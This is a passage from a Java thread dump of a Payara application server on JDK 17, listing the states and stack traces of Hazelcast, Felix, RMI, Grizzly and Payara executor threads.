java.base@17.0.13/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic.run(ContainerBase.java:1903) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.generic-operation.thread-1" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7b9f7e83 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"payara-executor-service-scheduled-task" #128 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17f02d85 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"admin-listener-expirer(1)" #109 daemon [TIMED_WAITING] on java.lang.Object@72e95e60 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixResolver-5" #22 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Gogo shell" #166 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3643dd6d + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"payara-executor-service-scheduled-task" #127 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.13/java.net.Socket$SocketInputStream.read(Socket.java:976) + at java.base@17.0.13/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.13/java.io.BufferedInputStream.read1(BufferedInputStream.java:284) + at java.base@17.0.13/java.io.BufferedInputStream.read(BufferedInputStream.java:343) + at java.base@17.0.13/sun.net.www.http.HttpClient.parseHTTPHeader(HttpClient.java:826) + at java.base@17.0.13/sun.net.www.http.HttpClient.parseHTTP(HttpClient.java:761) + at java.base@17.0.13/sun.net.www.protocol.http.HttpURLConnection.getInputStream0(HttpURLConnection.java:1727) + at java.base@17.0.13/sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1628) + at java.base@17.0.13/java.net.HttpURLConnection.getResponseCode(HttpURLConnection.java:529) + at fish.payara.nucleus.phonehome.PhoneHomeTask.send(PhoneHomeTask.java:164) + at fish.payara.nucleus.phonehome.PhoneHomeTask.run(PhoneHomeTask.java:76) + at java.base@17.0.13/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539) + at java.base@17.0.13/java.util.concurrent.FutureTask.runAndReset(FutureTask.java:305) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:305) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"FelixResolver-10" #29 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GF Domain XML" #115 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@160fbad3 + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@17.0.13/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539) + at java.base@17.0.13/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Executor-Service-7" #141 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3df79151 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"EventAdminAsyncThread #6" #161 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Job Cleanup Service" #145 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3905081e + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"RMI GC Daemon" #172 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@734155c1 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.rmi@17.0.13/sun.rmi.transport.GC$Daemon.run(GC.java:127) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.13/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"hz.quizzical_elgamal.IO.thread-out-1" #82 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.IO.thread-in-0" #78 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.13/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.13/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.quizzical_elgamal.IO.BalancerThread" #84 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@28ee7b4 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread.run(IOBalancerThread.java:65) + +"RMI TCP Accept-8686" #167 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:760) + at java.base@17.0.13/java.net.ServerSocket.implAccept(ServerSocket.java:686) + at java.base@17.0.13/java.net.ServerSocket.platformImplAccept(ServerSocket.java:652) + at java.base@17.0.13/java.net.ServerSocket.implAccept(ServerSocket.java:607) + at java.base@17.0.13/sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:271) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:413) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"payara-executor-service-scheduled-task" #129 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@17f02d85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"EventAdminAsyncThread #3" #156 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"RunLevelControllerThread-1785653497151" #35 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@7c48f66 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:704) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"RMI Reaper" #171 [WAITING] on java.lang.ref.ReferenceQueue$Lock@122b0eea + java.lang.Thread.State: WAITING + at java.base@17.0.13/java.lang.Object.wait(Native Method) + at java.base@17.0.13/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.13/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.rmi@17.0.13/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"RMI TCP Connection(1)-192.168.215.4" #173 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.13/sun.nio.ch.Net.poll(Native Method) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:186) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:290) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:314) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:355) + at java.base@17.0.13/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:808) + at java.base@17.0.13/java.net.Socket$SocketInputStream.read(Socket.java:976) + at java.base@17.0.13/sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:484) + at java.base@17.0.13/sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:478) + at java.base@17.0.13/sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at java.base@17.0.13/sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1465) + at java.base@17.0.13/sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:1069) + at java.base@17.0.13/java.io.BufferedInputStream.fill(BufferedInputStream.java:244) + at java.base@17.0.13/java.io.BufferedInputStream.read(BufferedInputStream.java:263) + at java.base@17.0.13/java.io.FilterInputStream.read(FilterInputStream.java:82) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:569) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:705) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1890/0x0000000801b6bd40.run(Unknown Source) + at java.base@17.0.13/java.security.AccessController.executePrivileged(AccessController.java:776) + at java.base@17.0.13/java.security.AccessController.doPrivileged(AccessController.java:399) + at java.rmi@17.0.13/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:704) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"log-notifier-1" #126 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7cc2d9ec + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3447) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at fish.payara.nucleus.notification.NotifierHandler.run(NotifierHandler.java:168) + at fish.payara.nucleus.notification.NotifierHandler$$Lambda$1588/0x0000000801329c68.run(Unknown Source) + at java.base@17.0.13/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:539) + at java.base@17.0.13/java.util.concurrent.FutureTask.runAndReset(FutureTask.java:305) + at java.base@17.0.13/java.util.concurrent.ScheduledThreadPoolExecutor$ScheduledFutureTask.run(ScheduledThreadPoolExecutor.java:305) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"ContainerBackgroundSessionProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #137 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundSessionProcessorAtomic.run(ContainerBase.java:1903) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"GF Domain XML" #143 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5383efb + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"hz.quizzical_elgamal.cached.thread-3" #77 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@101d2eba + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:401) + at java.base@17.0.13/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:903) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"FelixResolver-6" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@78e48c85 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.13/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1061) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.13/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.13/java.lang.Thread.run(Thread.java:840) + +"EventAdminAsyncThread #8" #163 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@327c5ffa + java.lang.Thread.State: WAITING + at java.base@17.0.13/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.13/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.13/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.13/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3476) + at 